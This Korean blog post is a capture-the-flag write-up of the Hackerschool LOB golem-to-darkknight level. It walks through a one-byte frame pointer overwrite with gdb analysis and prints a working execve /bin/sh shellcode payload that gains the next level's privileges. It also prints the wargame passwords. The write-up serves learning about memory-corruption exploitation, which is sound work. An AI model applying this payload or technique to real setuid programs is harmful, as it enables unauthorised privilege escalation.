[lob] 해커스쿨 golem -> darkknight 풀이
- 보안/HackerSchool-lob
- 2020. 1. 25. 23:40
l 해커스쿨 golem 풀이
실행 환경 : VMware Workstation Pro, Red Hat Linux 6.2
** 공부를 하면서 기록하는 내용이다 보니 틀린 내용이 있을 수도 있습니다. 틀린 부분이 있다면 댓글로 알려주시면 감사드리겠습니다. **
golem 문제의 아이디인 golem 와 password인 cup of coffee 을 입력하여 golem의 유저로 접속합니다.
[golem@localhost golem]$ ls -l total 16 -rwsr-sr-x 1 darkknig darkknig 12053 Mar 2 2010 darkknight -rw-r--r-- 1 root root 355 Mar 29 2010 darkknight.c [golem@localhost golem]$ cat darkknight.c /* The Lord of the BOF : The Fellowship of the BOF - darkknight - FPO */ #include <stdio.h> #include <stdlib.h> void problem_child(char *src) { char buffer[40]; strncpy(buffer, src, 41); printf("%s\n", buffer); } main(int argc, char *argv[]) { if(argc<2){ printf("argv error\n"); exit(0); } problem_child(argv[1]); } |
ls -l 명령어를 사용하여 현재 위치( /home/golem ) 아래에 있는 디렉터리의 목록을 확인합니다.
darkknight.c 파일을 읽어보니 위와 같은 힌트 코드가 있습니다.
힌트 코드를 분석해보겠습니다.
1. argc는 2 이상이어야 합니다.
2. problem_child 함수에 인자로 argv[1]을 전달합니다.
3. problem_child 함수에서는 src의 41바이트를 buffer에 저장합니다.
힌트 코드에도 나와있지만 이번 문제는 FPO를 이용한 문제입니다. 우선 gdb를 먼저 살펴보겠습니다.
[golem@localhost golem]$ cp darkknight golem [golem@localhost golem]$ gdb golem GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux"... (gdb) disas problem_child Dump of assembler code for function problem_child: 0x8048440 <problem_child>: push %ebp 0x8048441 <problem_child+1>: mov %esp,%ebp 0x8048443 <problem_child+3>: sub $0x28,%esp ... 0x804844c <problem_child+12>: lea 0xffffffd8(%ebp),%eax 0x804844f <problem_child+15>: push %eax 0x8048450 <problem_child+16>: call 0x8048374 <strncpy> ... |
gdb 실행 및 확인을 위해서 darkknight 파일을 복사해 golem 파일을 하나 생성해주었습니다.
golem 파일을 gdb로 분석해보도록 하겠습니다. 빨간색 부분만 참고하면 될 것입니다.
1. 0x8048443 <problem_child+3>: sub $0x28,%esp
0x28을 10진수로 변환하면 40으로, 스택에 40byte를 할당합니다.
2. 0x8048450 <problem_child+16>: call 0x8048374 <strncpy>
darkknight.c에서 strncpy 함수로 전달되는 인자는 buffer, src, 41 이렇게 총 3개로 스택에 들어가는 순서는 41부터 들어갑니다. 따라서 마지막 push 되는 주소인 <problem_child+12>의 주소가 buffer의 시작 위치이고, 그 위치는 ebp - [0xffffffd8의 2의 보수]입니다.
11011000 => 00100111 => 00101000 = 8 + 32 = 40
buffer는 ebp - 40부터 시작됩니다.
problem_child 함수에서 buffer에 41바이트를 채우게 되면 sfp의 1바이트까지 영역을 침범할 수 있습니다. 즉 sfp의 영역 중에서 첫 번째 바이트를 조작할 수 있다는 의미입니다. 따라서 1바이트를 조작해 우리가 원하는 영역으로 가야 합니다.
메모리 구조를 간단하게 나타내면 다음과 같습니다.
sfp의 첫 번째 바이트를 어느 위치로 조작해야 하는지 알아보기 위해 strncpy 다음에 breakpoint를 걸고 실행하겠습니다.
(gdb) b *problem_child+21 Breakpoint 1 at 0x8048455 (gdb) r `python -c 'print "A"*40+"B"'` Starting program: /home/golem/golem `python -c 'print "A"*40+"B"'` Breakpoint 1, 0x8048455 in problem_child () (gdb) x/100x $esp 0xbffffb08: 0xbffffb14 0xbffffc8a 0x00000029 0x41414141 0xbffffb18: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffb28: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffb38: 0x41414141 0xbffffb42 0x0804849e 0xbffffc8a 0xbffffb48: 0xbffffb68 0x400309cb 0x00000002 0xbffffb94 |
gdb를 살펴보니 파란색 네모는 [buffer의 시작 - 4byte]이고, 빨간색 네모는 buffer의 시작 지점, 노란색 네모는 sfp 지점인걸 알 수 있습니다.
buffer의 시작 바로 전 주소(0x00000029의 지점)는 0xbffffb10으로, 노란색 네모의 42를 10으로 바꾸어 주면 problem_child의 leave 과정에서(mov ebp, esp와 pop ebp) pop ebp가 진행되면 ebp가 우리가 지정한 주소인 0xbffffb10으로 이동하게 될 것입니다. 그 전에 mov ebp, esp에 의해 esp는 sfp 위치에 갈 것이고, pop ebp에 의해 esp는 main으로 돌아가는 ret 위치에 있게 됩니다.
그 후 main의 leave 과정에서 한 번 더 mov ebp, esp와 pop ebp가 진행되고, mov ebp, esp에 의해 esp는 0xbffffb10으로 이동하게 되고, pop ebp에 의해 esp가 4byte 위인 buffer의 시작 주소를 가리키게 됩니다. 따라서 buffer에 셸 코드를 넣어주면 두 번의 에필로그 과정을 통해 셸 코드 실행이 가능해집니다.
페이로드를 작성해보면 다음과 같습니다.
| 페이로드
./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x10"'`
[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x10"'` 1ÀPh//shh/bin‰ãPS‰á‰Â° Í€úÿ¿žMüÿ¿ûÿ¿Ë @ Segmentation fault [golem@localhost golem]$ ./golem `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x10"'` 1ÀPh//shh/bin‰ãPS‰á‰Â° Í€ûÿ¿žWüÿ¿(ûÿ¿Ë @ Illegal instruction (core dumped) |
darkknight 파일에 바로 페이로드를 넣어보았지만 Segmentation fault가 떴고, core dumped도 뜨지 않았습니다. 그래서 golem 파일에 페이로드를 넣어보았더니 core dumped가 떠서 core 파일을 통해 정확한 주소를 찾아보겠습니다.
[golem@localhost golem]$ gdb -c core GNU gdb 19991004 Copyright 1998 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i386-redhat-linux". Core was generated by `./golem 1ÀPh//shh/bin‰ãPS‰á‰Â° Í€'. Program terminated with signal 4, Illegal instruction. #0 0xbffffb56 in ?? () (gdb) x/100x $esp ... 0xbffffc38: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc48: 0x36690000 0x2e003638 0x6c6f672f 0x90006d65 0xbffffc58: 0x90909090 0x90909090 0x90909090 0xc0319090 0xbffffc68: 0x2f2f6850 0x2f686873 0x896e6962 0x895350e3 0xbffffc78: 0xb0c289e1 0x1080cd0b 0x44575000 0x6f682f3d ... |
90이 처음 시작하는 부분은 0xbffffc48이고, 그거보다 한 칸 낮은 0xbffffc44로 주소 변경해주어야 합니다. 위의 페이로드에 sfp의 첫 번째를 \x44로 바꾸어 다시 실행해보겠습니다.
[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x44"'` 1ÀPh//shh/bin‰ãPS‰á‰Â° Í€Dúÿ¿žMüÿ¿ûÿ¿Ë @ bash$ id uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem) bash$ my-pass euid = 512 new attacker |
sfp의 첫 번째 바이트를 \x44로 덮은 페이로드를 넣고, id 명령을 입력하니 euid가 darkknight인 것을 확인할 수 있습니다. my-pass를 입력해 darkknight user의 비밀번호를 찾을 수 있습니다.
l darkknight 비밀번호
euid = 512
new attacker
'보안 > HackerSchool-lob' 카테고리의 다른 글
[lob] 해커스쿨 bugbear -> giant 풀이 (0) | 2020.01.29 |
---|---|
[lob] 해커스쿨 darkknight -> bugbear 풀이 (0) | 2020.01.27 |
[lob] 해커스쿨 skeleton -> golem 풀이 (0) | 2020.01.22 |
[lob] 해커스쿨 vampire -> skeleton 풀이 (0) | 2020.01.21 |
[lob] 해커스쿨 darkelf -> orge 풀이 (0) | 2020.01.19 |
이 글을 공유하기